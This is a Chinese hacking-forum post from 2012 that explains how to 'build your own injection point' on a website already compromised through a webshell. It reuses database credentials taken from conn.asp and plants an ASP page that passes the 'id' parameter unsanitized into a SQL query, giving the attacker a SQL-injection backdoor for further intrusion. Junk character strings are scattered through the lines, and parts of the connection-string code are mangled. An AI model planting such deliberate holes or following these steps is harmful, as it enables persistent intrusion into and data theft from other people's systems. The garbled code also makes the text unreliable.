找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1846|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
' q( d+ I. W% N. [* M0 J! \% {  n1 ^7 @# Q
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
0 m7 N1 Y% B7 V! z- o+ A9 n. @
9 x# g! q( E; W. A; |, K9 W. Q- b: V这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
6 F+ E" j1 u# N' `% B9 C; t+ \4 c7 n; `
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和$ ~2 s2 [; ]! j+ U

4 E" J, f2 `, n* p  s6 M$ w密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表. |7 `0 m  v% S0 `6 n1 _6 `

+ M0 g' _8 T, Y% U9 ]0 o) G, G因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:0 o2 B: a" V+ z3 O( z
+ H) y; N: f/ h/ E& g2 i- _
程序代码
' Y  w& m( u& g! x3 g4 {<!--#include file="xx.asp"-->
7 o. U' c) K* Y! a- [1 o1 F% ]<%
+ q' L3 k, w6 Wset rs=server.createobject("ADODB.recordset")9 V. Y1 r$ s5 @
id = request("id")
! C3 P5 U" c9 m' g5 v) A* EstrSQL = "select * from admin where id=" & id5 P4 X' T' O1 ]7 W$ t
rs.open strSQL,conn,1,3
: R  @$ g2 P7 W1 h8 E8 V$ grs.close
' J1 p6 l8 ?3 ?+ ]7 a: X' ~6 S%>
& I0 s, ^2 j- U3 B/ D) ~; s* Z+ S1 d" ^: S7 s
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在& D$ C/ O  e4 i  w0 \4 y. J0 q
9 ^; \+ ^7 J8 N7 K0 [
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!4 I! e! B8 N0 m- Q$ }
; d% z5 z8 U; C: k3 T  b. d0 Y& c7 M
然后就要构造一个连接数据库的文件了,代码如下:: }. H# K1 n8 F  o8 H  T! w. m' h
程序代码9 Y$ M" L/ B5 `8 V3 V% [) s( K; t8 B
<%        2 P; L1 w) F' ~$ B$ }1 O' L
strSQLServerName = "000.000.000.000"     '服务器名称或地址
( k. e* q3 w( M/ K: E1 ^strSQLDBUserName = "sqlname"         '数据库帐号
% @5 P' k+ D% ^4 I' w6 ostrSQLDBPassword = "sqlpass"         '数据库密码# N, p# h- l- z; j% a8 D3 |  E
strSQLDBName = "sqldataname"           '数据库名称
# [: x' `' K; Q" t0 L+ sSet conn = Server.CreateObject("ADODB.Connection")4 R2 _, q% W  o6 Q4 X
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
" T9 U+ S. z0 X2 S6 x% P  e7 D/ Hconn.open strCon( B) q4 y% u$ a5 O3 Q8 T
%>
" a; `) `/ m; P* `8 n/ l3 `, A) B! x
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
9 ]! W) Z/ I& e
" a  ]2 S, c0 T; x; h5 Z; }就这样,正常情况下,就OK了,伪造成功……9 K! R4 R+ C0 N3 ]
; P( c  q! k. p" T: i& N
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表